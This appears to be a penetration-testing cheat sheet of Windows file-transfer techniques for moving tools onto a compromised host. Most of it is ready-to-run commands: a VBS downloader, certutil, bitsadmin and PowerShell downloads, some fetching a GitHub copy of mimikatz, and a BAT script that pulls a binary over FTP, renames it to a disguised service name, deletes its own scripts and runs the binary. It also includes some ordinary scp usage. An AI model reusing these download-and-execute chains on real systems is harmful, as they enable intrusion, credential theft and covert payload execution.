Vbs
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vb
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\2.exe",2 >>download.vbs
vbs script execution command:
wscript download.vbs
certutil
certutil.exe -urlcache -split -f http://ip/test/1.exe c:/1.exe
SCP commands
scp is a safe file copy, login based on ssh
Suppose you want to copy a file named a.tar.tz under the local computer /home to /home/tmp on the remote server 192.168.0.2. And your account name on the remote server is root. You can use this command:
scp /home/a.tar.tz [email protected]:/home/tmp/
If you copy files from a remote machine to the current directory of the machine, use this command:
scp [email protected]: /home/a.tar.tz
Copy the files in the entire directory of the remote machine
scp -r [email protected]:/home/* ./
Copy the entire directory of the remote machine to the specified folder of the local machine
scp -r [email protected]:/root/123 C:\Users\Admin\Desktop\csdn_increase_vister-master
bitsadmin
bitsadmin /rawreturn /transfer getfile https://raw.githubusercontent.com/shanfenglan/mimikatz/master/mimikatz.sln C:\323.txt
powershell
powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')
FTP
echo open 192.168.124.136>>1.txt
echo user administrator 1234>>1.txt
echo get 1.exe>>1.txt
echo bye>>1.txt
echo exit>>1.txt
ftp -i -n -s:"1.txt"
BAT downloads and executes the program via FTP
@echo off
echo open %1%>>ftptmp.bat
echo user %2%>>ftptmp.bat
echo %3%>>ftptmp.bat
echo cd %4%>>ftptmp.bat
echo get %5%>>ftptmp.bat
echo bye>>ftptmp.bat
ftp -i -n -s:ftptmp.bat
rename %5% svcmorne.exe
del *.bat
svcmorne.exe
exit
main.bat 192.168.124.136 administrator 1234 c:/ 1.exe